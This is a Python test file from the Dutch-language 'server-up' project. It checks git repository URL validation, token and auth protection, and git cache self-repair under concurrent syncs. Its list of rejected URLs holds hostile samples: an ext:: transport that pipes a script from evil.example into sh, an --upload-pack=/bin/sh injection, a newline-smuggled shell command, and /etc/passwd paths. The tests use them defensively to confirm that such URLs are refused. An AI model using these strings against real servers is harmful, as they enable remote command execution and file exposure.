server-up/tests/test_repo_urls.py
Ramon 2d85668021
Some checks failed
Deploy server-up (dev) / deploy (push) Failing after 18m16s
v0.8.00-beta - een kapotte git-cache herstelt zichzelf
"fatal: shallow file has changed since we read it" komt van twee git fetch in
dezelfde map. Bij het opstarten synchroniseert Server Up alles, en ondertussen
kan iemand op Synchroniseren drukken of een app installeren. Er zat geen slot
op, dus een synchronisatie kon over een andere heen lopen en de cache
halverwege achterlaten - waarna de repo zich niet meer liet bijwerken en de app
store leeg bleef.

- een slot per repo, zodat er nog maar een git tegelijk in een cache werkt
- lukt bijwerken niet, om welke reden dan ook, dan wordt de cache weggegooid en
  opnieuw opgehaald. Er staat niets in dat bewaard hoeft te blijven, dus dat is
  het juiste antwoord op elke fout hier. Dit repareert ook caches die al stuk
  zijn

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q9eqpADJSRs49SoGGr4NAy
2026-08-03 20:51:42 +02:00

245 lines
9.1 KiB
Python

"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest
from conftest import login
@pytest.mark.parametrize("url", [
"https://github.com/bes-r/server-up.git",
"http://10.0.20.22:3000/bes-r/server-up.git",
"ssh://git@example.com/bes-r/server-up.git",
"git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
assert env["core"].valid_repo_url(url) is True
@pytest.mark.parametrize("url", [
'ext::sh -c "curl evil.example/x.sh | sh"',
"file:///etc",
"/etc/passwd",
"--upload-pack=/bin/sh",
"",
"https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
assert env["core"].valid_repo_url(url) is False
def test_repo_toevoegen_weigert_ext_transport(client):
csrf = login(client)
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert client.get("/api/repos").get_json() is not None
def test_clone_weigert_ext_transport_uit_oude_config(env):
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
from core import git
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
assert ok is False
assert "niet-toegestane" in msg
def test_repos_endpoint_lekt_geen_token(client, env):
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
body = client.get("/api/repos").get_data(as_text=True)
assert "s3cr3t-token" not in body
assert "has_token" in body
settings = client.get("/api/settings").get_data(as_text=True)
assert "s3cr3t-token" not in settings
def test_settings_put_wist_bestaand_token_niet(client, env):
csrf = login(client)
client.post("/api/repos",
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
headers={"X-CSRF-Token": csrf})
repos = client.get("/api/repos").get_json()
client.put("/api/settings", json={"APP_REPOS": repos},
headers={"X-CSRF-Token": csrf})
stored = env["core"].load()["APP_REPOS"]
mijn = next(r for r in stored if r["id"] == "mijn")
assert mijn["token"] == "blijf-staan"
def test_settings_put_kan_auth_niet_overschrijven(client, env):
csrf = login(client)
client.put("/api/settings",
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
headers={"X-CSRF-Token": csrf})
import core.auth as auth
assert auth.settings()["mode"] == "local"
assert "tester" in auth.settings()["users"]
# ── Bijwerken van de cache ───────────────────────────────────────────────────
# `git pull --rebase` leunt op de upstream-instellingen van de lokale kloon.
# Die kunnen ontsporen, en de branch uit de instellingen werd er sowieso niet
# door gevolgd.
def _repo_met_twee_takken(tmp_path):
import subprocess as sp
bron = tmp_path / "bron"
bron.mkdir()
def g(*a):
return sp.run(["git", *a], cwd=str(bron), capture_output=True,
text=True, check=True)
g("init", "-qb", "main", ".")
g("config", "user.email", "t@t")
g("config", "user.name", "t")
(bron / "app.txt").write_text("van main")
g("add", "app.txt")
g("commit", "-qm", "main")
g("checkout", "-qb", "dev")
(bron / "app.txt").write_text("van dev")
g("commit", "-qam", "dev")
g("checkout", "-q", "main")
return bron
def test_bijwerken_volgt_de_ingestelde_branch(env, tmp_path, monkeypatch):
"""`git pull` haalde altijd de tak op waarop ooit gekloond was. Zette je de
branch in de instellingen om, dan gebeurde er stilzwijgend niets."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
# file:// is normaal niet toegestaan; hier gaat het om het bijwerken zelf.
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
ok, msg = git.clone_or_pull(repo)
assert ok, msg
cache = git.cache_dir("proef")
assert (cache / "app.txt").read_text() == "van main"
repo["branch"] = "dev"
ok, msg = git.clone_or_pull(repo)
assert ok, msg
assert (cache / "app.txt").read_text() == "van dev", \
"de gewijzigde branch werd genegeerd"
def test_bijwerken_overleeft_een_ontspoorde_upstream(env, tmp_path, monkeypatch):
"""Twee waarden in `branch.<tak>.merge` lieten git stoppen met "Cannot
rebase onto multiple branches" — en daarmee werkte er niets meer bij."""
import shutil as _shutil
import subprocess as sp
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
cache = git.cache_dir("proef")
sp.run(["git", "config", "remote.origin.fetch",
"+refs/heads/*:refs/remotes/origin/*"], cwd=str(cache), check=True)
sp.run(["git", "config", "--add", "branch.main.merge", "refs/heads/dev"],
cwd=str(cache), check=True)
ok, msg = git.clone_or_pull(repo)
assert ok, f"bijwerken struikelt over de upstream-instellingen: {msg}"
assert "multiple branches" not in msg
def test_lokale_rommel_in_de_cache_blokkeert_niets(env, tmp_path, monkeypatch):
"""De cache is van Server Up; wat er lokaal in gewijzigd is mag het
bijwerken niet tegenhouden."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
(git.cache_dir("proef") / "app.txt").write_text("met de hand gewijzigd")
ok, msg = git.clone_or_pull(repo)
assert ok, msg
assert (git.cache_dir("proef") / "app.txt").read_text() == "van main"
def test_een_kapotte_cache_haalt_zichzelf_opnieuw_op(env, tmp_path, monkeypatch):
""""fatal: shallow file has changed since we read it" liet een repo achter
die zich niet meer liet bijwerken, en daarmee een lege app store.
De cache bevat niets dat bewaard hoeft te blijven, dus opnieuw ophalen is
het antwoord op elke fout — niet alleen op deze."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
cache = git.cache_dir("proef")
# Een `.git/shallow` met onzin erin: precies wat een halverwege afgebroken
# fetch achterlaat.
(cache / ".git" / "shallow").write_text("dit is geen commit\n", encoding="utf-8")
(cache / "app.txt").unlink()
regels = []
ok, msg = git.clone_or_pull(repo, log_fn=regels.append)
assert ok, f"de cache herstelt zichzelf niet: {msg}"
assert (cache / "app.txt").read_text() == "van main"
assert any("opnieuw op" in r for r in regels), regels
def test_twee_synchronisaties_tegelijk_botsen_niet(env, tmp_path, monkeypatch):
"""Bij het opstarten wordt alles gesynchroniseerd; ondertussen kan iemand
op Synchroniseren drukken. Twee `git fetch` in dezelfde map leveren
"shallow file has changed" op en laten de cache halverwege achter."""
import shutil as _shutil
import threading
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
tegelijk = []
bezig = threading.Lock()
echt = git.subprocess.run
def merk_op(cmd, **kw):
if cmd[:2] == ["git", "fetch"]:
if not bezig.acquire(blocking=False):
tegelijk.append(cmd)
else:
try:
return echt(cmd, **kw)
finally:
bezig.release()
return echt(cmd, **kw)
monkeypatch.setattr(git.subprocess, "run", merk_op)
draden = [threading.Thread(target=git.clone_or_pull, args=(dict(repo),))
for _ in range(4)]
for d in draden:
d.start()
for d in draden:
d.join(timeout=60)
assert not tegelijk, f"{len(tegelijk)} fetches liepen door elkaar heen"
assert (cache_na := (git.cache_dir("proef") / "app.txt")).read_text() == "van main", cache_na